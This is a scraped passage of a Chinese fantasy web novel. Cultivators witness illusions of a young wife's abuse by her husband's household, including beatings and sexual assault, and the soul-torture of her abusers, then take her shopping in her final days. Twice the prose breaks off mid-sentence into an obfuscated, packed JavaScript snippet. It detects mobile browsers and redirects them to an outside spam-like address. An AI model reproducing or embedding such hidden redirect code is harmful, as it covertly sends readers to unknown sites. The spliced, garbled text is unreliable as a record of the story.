身份颠倒,她甚至被逼着去伺候怀了孕的珠儿,照料她的生活起居,动辄便会遭受一番刁难和责骂。 这一出只有四个人登场的戏,看得人遍体生寒。 直到灵火灯再度熄灭,身穿红衣的阮卿依出现在了树下,响指一打,亮起的灯火中央赫然便是一个猪笼,里面关着衣冠楚楚的一男两女。 “这个阮卿依不是本人,是幻象。”孟知匀拉住了迈出一步的孙二娘,低声对她解释了一句。 红衫女子脸色红润、态度从容,坐在秋千上打量着猪笼里瑟瑟发抖的三个人,语调温柔地问道:“你们还记得我吧?” “卿依,你这是干什么?”李望山走到笼子边,满脸都是担忧,“你失踪之后我们找了你很久,担心你在外面被妖魔害死,娘整宿睡不着觉。现下,你既安好无恙,为何不回家?又为何要将我们关在这里?” 阮卿依忍不住笑了出来:“都到这个地步了,你又装模作样给谁看?” “我就算被妖魔鬼怪开膛破肚、抽筋剥皮而死,也好过在你们李家被活活耗死。” “哦,你好像忘了。”阮卿依微微歪头,“你已经死了。” 李望山猛地后退一步,往日种种如走马灯般在他脑中闪过,他却无论如何也想不起来自己是如何被掳到这里的。 薛昱恰到好处地解释了一句:“是禁术中的分魂术,可以在人死后,从刚离体的生魂中撕下一缕,保留其部分意识,通常是妖邪用来折磨人的手段。” 当然,灵火灯下的李望山听不到他的话,只觉得面前的阮卿依格外令人恐惧,仿佛生杀夺于只在她一念之间,不由得便有些打颤。 阮卿依走到猪笼前,看向缩在李望山身后的珠儿和月儿,一字一顿地问道:“我的东西,好用吗?” 珠儿吓得瘫软在地,忙不迭朝她磕头:“姑娘饶命,都是少爷让我们拿的,我们做下人的,若无主子允许,怎敢拿姑娘的东西呀。” 阮卿依捡起一根树枝,在笼前蹲下,拿树枝挑起珠儿的下巴:“我娘的玉佩,不是你砸的吗?” 珠儿的脸色突然变得惨白。 “你的孩子最后好像没保住,”她又看向一旁的月儿,“怎么不问问你的好姐姐,为什么不想你生呢?” “什么?”珠儿不可置信地扭头看向月儿,“你……是你……” 李望山忽然道:“够了!” 他扶着笼子,满眼痛惜地看向自己曾经的妻子:“卿依,你病了,放我们出去,我找最好的大夫给你看病,好不好?” 阮卿依站起身,拿树枝拍了拍他的脸颊,轻声道:“对啊,我会信你的鬼话,嫁进你们李家,真的是病得不轻。” “不过,这么久了,你难道没发现自己身上……少了点什么吗?” 李望山忽然感觉下身刺痛。 他踉跄后退几步,不敢相信地伸手摸去,却只摸到了一手腥臭的血。 12. 拘灵 李望山肝胆欲裂地看着阮卿依,不等他嘶吼出声,一根无形的绳索便紧紧勒住了他的脖子,将他拖行回了猪笼中央。 珠儿和月儿脖子上也同样多了根绳索,却不像李望山那样被勒得脸红脖子粗,还有余力跪下忏悔求饶。 “这绳索叫做拘灵,会逐渐收紧,直至将你们的残魂勒成两段。”阮卿依坐回到秋千上,眼睑微垂,红衫随着秋千晃动,像一朵艳丽盛开的红花。 她用纤细的手指攥住秋千的彩索:“如果想及早解脱,就用血肉去——” “取悦它。” “姑娘,”月儿伸手去抓脖颈上的绳索,眼泪涟涟地求她,“奴婢不明白你的意思,奴婢之前所作所为都是身不由己啊,姑娘你念在我身世可怜的份儿上,就饶过我吧。” 阮卿依没有回答,也没有看他们,轻轻晃动着秋千,开始哼唱起一首童谣。 绳索又收紧了一寸。 珠儿强忍着窒息感,忽然看向蜷缩在一旁的李望山。 他的绳索比她们都要紧,眼下俨然已经奄奄一息了。 用血肉。 要用血肉。 她挣扎着站起来,一步一步走向李望山。 “你……你这个贱人,你要……要做什么……”李望山目眦欲裂,仿佛逐渐走近的不是曾与他欢好的爱婢,而是提着屠刀的活阎王。 “你……啊——” 撕心裂肺的惨叫几乎响彻整片山林,本就脏污不堪的猪笼变得愈发血肉模糊。 孟知匀这次倒没捂薛逢梨的眼睛,而是悄然走到秋千旁,看向那个心绪难辨的红衫女子。 哪怕在此处留下的只是一道幻象,却也显露出了些许天人三衰的迹象。 恐怕阮卿依已经时日无多。 薛昱走到她身旁,恰到好处地用身体挡住了一旁的猪笼:“此处布下的是一个拘灵阵,若我所猜不错,其余人被分离的残魂也四散在阵法别处,直到这些魂魄被一点一点地折磨殆尽,此阵才会停止。” “这也是禁术吗?”孟知匀侧身看他。 薛昱点了点头:“是西漠州邪修惯用的手段。” 看来藏书阁四层还是有点儿东西的,怪不得这二少主天天往那儿跑。 “那我们该如何找到阮卿依?”薛逢梨被猪笼内互相残杀的情景恶心到了,不想多看,便也凑了过来。 “走完整个拘灵阵,或者破阵。”薛昱看向一盏一盏亮起来的灵火灯,“不过,既然她有心为我们指路,倒不必多此一举去破阵。” 孙二娘原本就觉得直接勒死李家人太便宜他们了,如今看着猪笼里三个不成人形、血肉模糊的身影,她只觉得无比畅快。 “二娘。”孟知匀回头叫她,越过薛昱肩头瞥了眼猪笼,“该走了” 孙二娘应了一声,回过心神,赶紧跟了过来。 “仙师。”她有些不安地攥紧了衣袖,悄声问孟知匀,“刚刚那位仙师说这是禁术,那卿依她……” “是邪修。”走在最前面的薛昱顿了下脚步,直截了当地回答她。 孙二娘心神一惊,后背冒出一层冷汗,过了半晌,才试探性问道:“那你们会怎么对她?” 且不论他们修行中人,单是民间,对于妖魔鬼怪和邪门歪道,向来都是人人得而诛之的。只不过他们打不过,所以平日里只能避着。 但是,对于这群出身名门正道的仙师来讲,恐怕卿依这样的人,也应该算在他们“降妖除魔”的范畴里了。 孟知匀等了几息,见薛昱没有再回答的意思,便全凭自己心意回答道:“向她打听一些事情。” “然后呢?”孙二娘愣了一下,小心翼翼地追问。 “然后?”孟知匀摸着下巴思索了一下,目光随着灵火跳动,有些遗憾地说道,“她应该活不久了,到时候……就按照她的遗愿帮她收敛尸体,送她超度往生吧。” 听着这完全出乎她意料的答案,孙二娘有些震惊。 她还以为,这些宗门的仙师们都是眼里揉不得沙子的,抓到卿依之后,就算不用这什么拘灵阵去折磨她,估计也免不了酷刑和拷打,所以她才硬要跟来,想着最后好歹能为卿依求一求情。 “她所行之事,不过是在了断自己的因果,没有滥觞无辜,那自然应该照常对待。”孟知匀拍了拍她的手背,让她安心。 薛昱这时候才插了一句:“不过她凭空长出来的灵脉过于古怪,针对此事,还需仔细调查。” 薛逢梨一直对当初没能察觉到事态真相感到内疚,低声嘟囔了一句:“说不定还有得救呢。” 这话显然安慰的成分居多,就算是修士,也是肉体凡胎,一旦身体出现衰竭迹象,就很难再有所逆转。 不过薛昱和孟知匀谁也没直接打破这个最不切实际的幻想。 万一呢。 孟知匀在心里默默叹了口气,抬头就发现他们已经走到了第二个“聚光灯”下。 阮卿依跪在地上奉茶,坐在高堂上的李夫人却看也不看她,直至儿媳的一双手被茶水烫得通红,她才开口:“你可知你现下所处何地?” “回夫人,是李宅。”阮卿依双臂颤抖,嗓音也因彻夜诵读家规而有些喑哑。 “你还知道你入了我李家的门!”李夫人一掌挥去,直接把阮卿依白皙的右脸打出了一道明显的红痕,盛满了茶水的茶盏也应声落地,洒了她满身热水。 李夫人冷笑道:“不敬夫君,不孝父母,心胸狭隘,争风吃醋,我是做了什么孽,竟给我儿娶了这么个不堪为妇的女人!” 阮卿依仍旧低头跪着,神态麻木,甚至连眼泪都流不出来。 她原也想不到,婆母这样慈善的长相竟也会露出这般狠毒的表情,似乎恨不得活活掐死她。 可是她做错了什么? 他们甚至容不得她争辩。 她实在想不明白,为何婚前婚后他们待她的态度竟如天上地下一般。 “翠香。”李夫人叫来自己的婢女,斜觑跪在地上的儿媳,“看紧她。她犯病了,别让她跑出去丢人现眼。” “是。”翠香比珠儿和月儿年龄更大些,也更会察言观色,自然懂得主子话里话外是什么意思。 别让她跑出去,也别让她好过。 反正外人全当她是疯子。 对待一个外来的、孤苦无依的疯子,那便和对待牲口差不多。 待李夫人离开,翠香走过去,居高临下地盯着眼前清瘦窈窕的女子,不耐烦地说道:“少夫人,请起吧。” 阮卿依的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165238|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿已经跪麻了,只能用烫伤了的手扶着地,一点一点支撑自己站起来。 翠香却猛地踹了一下她的腿肚。 阮卿依本就还没站起来,被她一踹,直接身体前倾摔在了碎瓷片上,身上登时多了几道割伤。 “哎呀,怎么这么不小心?”翠香假惺惺去扶她,却专挑她身上有伤的地方下手,疼得阮卿依差点昏过去。 “少夫人身子太弱了,准是一天天金娇玉贵养出来的,太不济事了。”翠香阴恻恻道,“不如去厨房帮李嫂和王嫂打一打下手,身体健壮起来,才好生养,你说是不是?” 阮卿依没理她,拖着满身的伤,一瘸一拐地走去厨房。 李嫂和王嫂正在嗑瓜子、说闲话,见不受人待见的少夫人走过来,二人对视一眼,暗骂道:“晦气。” 往日里夫人没少让她来灶上帮忙,可这少夫人哪做过厨房里的活计,什么都要她们现教,平白误了用饭的时间,让她们狠狠吃了老爷的一顿挂落,还整整扣了一个月的月钱。 这哪里是少夫人,分明是扫把星。 王嫂一眼就看到了阮卿依手上和身上的伤,嗑着瓜子道:“哎哟,这是在哪弄的?” 阮卿依当然知道她们不怀好意,干脆低着头不答。 二人白了她一眼,一边故意派她去做重活、粗活,一边指桑骂槐,甚至连她已经过世的父母都未曾逃过二人的诽谤咒骂。 不等阮卿依发难,一盆冰冷的井水就劈头盖脸泼了她一身。 “少夫人满身的伤,”李嫂拿着盆,单手叉腰站在门口,“得赶紧清洗清洗,不然伤口发脓了,那可不好了。” “我不看了!”孙二娘终于忍不住情绪崩溃地大哭了出来,“我不要看这个,卿依,你出来,你……” 孟知匀这次没阻止她哭喊,只是看向树下那盏灵火灯,灯火晃动了两下后便熄灭了。四下的黑暗和寂静里,只有孙二娘的哭声回荡不息。 她远远低估了李家人恶的程度。 他们分明每一个都不是人,每一个都要把这个孤苦无依的弱女子往死里逼。 “二娘。”微哑的嗓音陡然出现,止住了孙二娘破碎的哭腔。 灵火灯没再亮起来,阮卿依远远站在黑暗里,叹了口气:“别哭了,都过去了。” “过不去,怎么可能过得去?”孙二娘从未如此痛恨过自己。 是她带阮卿依去了李家,是她说李家人良善,是她以为李家可算良配。 她竟一点没有看出来,那李宅竟是个吃人不吐骨头的地.狱。 在钟灵郡的那半年,她还因为懦弱而不敢忤逆她娘,就那样留她一个人孤苦无依地待在李宅,甚至连求救都被当成了疯话。 她该有多绝望。 “正如你们亲眼所见,府上任何人都可以对我动辄打骂、刁难苛待,挨打时他们会让我裹上棉被,以免留下伤痕被外人察觉,甚至,李夫人命我为她守夜,然后将我打晕后送至李老爷榻上。后来,家丁和马夫也获得允许,可以随意对我进行侵犯。” 阮卿依语气平淡,仿佛在讲述的是另一个不相干的人,最后才笑了一下:“所以,我把他们都杀了,并取出残魂拘禁于此,令其在猪笼中自相残杀,让他们自己将其最后一缕生机斩断。” 13. 逛街 “敢问仙师,我犯下此等杀孽,是否罪该万死?”女子微哑的嗓音几乎要散在夜色里,传到人耳朵里却仿佛重逾千金。 灵火灯已经全熄灭了,寂静漆黑的山林里唯有风吹草木的婆娑声。 “你觉得你罪该万死吗?”薛昱遥遥看向阮卿依的方向,语气是惯常的淡漠,仿佛问出来的不是生死罪孽,而是“你今天吃饭了吗”。 阮卿依低笑了一声:“他们罪有应得。” “我押上后半生的寿命,就是为了让他们身死魂消。我不觉得我有错。” “那便无罪。”薛昱清透的声音回荡山林,仿佛一锤定音,令在场众人都有几息的沉默。 “我们前来不是为了抓你,更不是为了杀你。”孟知匀斟酌着开口,“只是你的灵脉涉及到修行秘术,我们得探查清楚。” 阮卿依身体衰竭得厉害,站了一会儿后就头晕腿软,只能伸手扶住一旁的树干,勉力回答道:“那日我在半夜找机会跑了出去,本想回到晚堂县,却因体力不支在半路晕倒,醒过来时发现自己躺在一个山洞里。” “一个戴着桃花面具的人告诉我,他已经身体衰竭,即将不久于人世,所以想利用他的残躯做一个尝试——将修士的灵脉移给凡人。” “他问我,是否愿意以自身性命做赌注,来赌他能够成功。”阮卿依自嘲般笑道,“我这条烂命,哪里还有值得眷恋的地方呢?哪怕逃回晚堂县,说不定哪一日便被他们抓回去了。于是,我答应了他。” “如你们所见,他成功了,我得到了他的灵脉和修为。” 凡人的身体难以承载灵脉,强行移植后也不能吸纳天地灵气进行修行,只能以躯体的本身的精气血肉来供养灵脉,耗尽精元后便会枯竭而死。 薛昱握紧了雾凇,隐秘地以目前所在地为中心,向外探出了数十道灵气,嘴上却不咸不淡地说道:“此乃逆天而行。” “对,所以我活不了几天啦。”阮卿依扬起唇角,仿佛真心实意感到欢欣,“大仇得报,也算是善终。” “那个给你灵脉的修士呢?”虽然孟知匀感觉她所言非实,但还是顺着她的话问了下去。 “死了。”阮卿依答道,“我将他葬在了那个山洞旁。” “具体地点你还记得吗?”孟知匀微微蹙眉,总觉得这件事的事态发展不是很对劲。 阮卿依的手指扣进了树皮中,静默了片刻后才道:“如果我说不记得呢。” 孙二娘察觉到眼下气氛格外紧绷,刚想劝说阮卿依配合仙师们探查,就听到薛昱说道:“那此事就到此为止。” “你寿命不超过三日,还有什么未尽之愿?” 阮卿依愣了一下。 她想过自己的拒不回答会带来怎样的后果,无非是严刑拷打,又或者是拿二娘来威胁她,如果真到了那种地步,她告诉他们也无妨,反正她已经习惯了被误解、被怨恨。 她早就对这世间失望透顶,甚至对于来生也无甚向往。 就算落下个魂飞魄散、不得往生的下场,她也不在乎。 但是他们说:“到此为止。” 仿佛昨日种种,真可以既往不咎。 “请你们好好把二娘送回家,然后将我的尸骨烧掉,洒在这片山林里吧。”她回想起那日在槐树下为她烧纸钱的女子,语调不由得温柔了几分,“这就是我的遗愿。” “卿依!”孙二娘不管不顾地往她的方向走了几步,得亏被薛逢梨眼疾手快地拽了一把,这才没一头撞在松树上。 薛昱则收回了向外探查的灵气,对孟知匀摇了摇头——此地除了他们几个,并无别的修士。 孟知匀明白他的意思,转而问阮卿依:“没有别的心愿吗?” 阮卿依背靠着松树,缓缓坐下:“没有了。” 话音刚落,孟知匀突然打了个响指,点燃了周遭的灵火灯,将此地映照得如同白昼,唯独给阮卿依待着的地方留下来一片阴影。 坐在树下的女子已经头发花白,原本柔嫩白皙的肌肤变得灰败,被附近突然亮起的灯晃得眯了下眼睛,再睁开眼时就看到有人伸来了一只手。 孟知匀不知何时便如微风般飘到了她面前。 “既然没有别的安排,剩下这两天,和我们一起‘偷得浮生半日闲’,怎么样?” 阮卿依看着她伸过来的右手,眼眸微动,感觉自己荒芜沉寂了许久的内心,居然蠢蠢欲动地冒出了一颗新芽。 她已经芳华不在,甚至感知到了死亡带来的腐朽,但是她鬼使神差地握住了那只手。 掌心温暖、干燥。 竟会有人,在她生命尽头的凛冬中,企图为她带来一场春雨。 * 钟灵郡的秋日并不萧索,由于地处北方,街巷旁边的树木往往四季常青,于深秋时节倒别有一番意趣。 孙二娘哥嫂在钟灵郡居住,所以她身上常带有路引,无须为进城烦扰。孟知匀几人身上则带有钟粹山的弟子腰牌,并且凭借宗门名头成功“刷脸”将阮卿依一起带进了城。 刚一进城,薛昱便长臂一伸,在路上拦住了孟知匀,挑眉问道:“那我呢?” 这人一路上用他的雾凇御剑,进城时还把他推出去和戍卫交涉,然后颇有一副用完就扔的架势,看也不看他,四人说说笑笑地就要去街上闲逛。 他觉得自己在她那里,估计和雾凇的地位差不多。 孟知匀有点诧异地看着他。 她还以为二少主这种不怎么喜欢理人的大美人更喜欢自己待着,没想到他居然还需要自己来安排,一时有些犯难,犹豫地问道:“师兄,你也不想和我们一起在城内逛街吧?” 挺好,问都没问他一句,说起来就是他不想。 薛昱垂着眼睑看她,深潭一般的眼里眸含着点看不清的情绪,然后冷冰冰地笑了一下:“那我先回去了。” 寒风冷飕飕地吹过来,孟知匀打了个冷颤,趁人转身就走前,赶紧一把抓住他的手腕:“据说钟灵郡的茶楼很有意思,里面有人说书,师兄可以前去喝茶,傍晚的时候我们去找你,好不好?” 毕竟她们四个人一起在街上闲逛已经很扎眼了,身后若是再跟着个薛昱,那效果可想而知。 北凛州向来民风奔放,女子若是在外遇到钟情的郎君,可以当街扔手绢或者绣球,含蓄地表露自己的心意。 她可不想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165239|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候被薛昱连累,让她们珍贵的逛街时光被手绢淹没。 见薛昱半晌不说话,孟知匀心里有点没底,生怕他真就这么一走了之,便捏了捏他的手腕:“师兄?” 薛昱漠然抽回手:“傍晚,去品闲居找我。” 孟知匀松了口气,满嘴打包票:“肯定的,那我们先走了。” 目送着四人离开的身影,薛昱低头看了看自己的腕骨,上面似乎还残存着她掌心的温度。 他心里莫名其妙有些烦躁,又想起了在静水谷捡到她的那天。 浑身脏兮兮的少女像一只奄奄一息的猫,蜷缩在他怀里,偶尔会拿脑袋蹭他,呓语般叫着她的母亲。 思索间,他身上的寒意更重了,加上背着的两柄剑,让许多因美色而驻足的女子都不敢轻举妄动,反倒一路畅通无阻地走去了品闲居。 另一边,孟知匀正心如刀割地奉献出自己的存款。 阮卿依在一块衣料前驻足。 孟知匀微笑:“买。” 薛逢梨看着糖葫芦走不动路。 孟知匀微笑:“买。” 孙二娘看上一对儿雕刻精致的沉香木簪子。 孟知匀仍旧微笑:“买。” …… “师姐,你今日是不是太破费了?”薛逢梨见自己平日里省吃俭用的师姐今日颇有豪气干云的气概,心里有些惴惴不安。 孟知匀的心在滴血,脸上却维持着完美的微笑,摸了摸她的脑袋:“没事,难得带你们来城里玩,想买什么就买什么,开心最重要嘛。” 不就是区区几百文吗。 区区几百文! 但是看着阮卿依穿上新衣服,戴着刚刚挑选好的簪子走出来,孟知匀舒了口气,感觉自己这钱花得也挺值。 四人沿着街巷慢悠悠地闲逛,孙二娘看到糖人摊子,开始讲自己小时候的趣事。 “那是我第一次跟我娘来钟灵郡,她去一个大户人家给人送猪肉,我就在人家门口等着。那时候正巧有个走街串巷的小贩卖糖人,问我要不要买。” “我在平松县哪里见过这种新奇玩意儿,自然是要买的,但是我那时候身上没钱,便央他先给我做,等我娘出来了再付钱。但是我怕我娘骂我乱买东西,就让她按照我的描述,做了个我娘模样的糖人,谁知道那人——” “画的很差吗?”薛逢梨好奇地问道。 “不不不,”孙二娘摆摆手,苦笑道,“是画得太好了,简直是活灵活现,连我娘手里拿着杀猪刀时露出的杀气都分毫毕露。然后我娘出来后,一把夺过那个糖人,狠狠地摔在地上踩碎,追着我和小贩打了两条街。” “为什么连小贩也要打?”阮卿依有些不解。 孙二娘“嘿嘿”一笑:“我小时候也不知道,还以为是我连累了那小贩。等我后来再来钟灵郡,偶尔在路上又遇到了他,这才知道,原来他年轻时和我娘相好过一段时间,但是后来我娘嫌他窝囊不上进,转而嫁给了隔壁的屠户——就是我爹,结果年纪轻轻就守了寡。那人看我小时候和我娘长得像,这才特意过来要卖糖人给我,是故意埋汰我娘呢。” 剩下三人都忍不住笑了出来。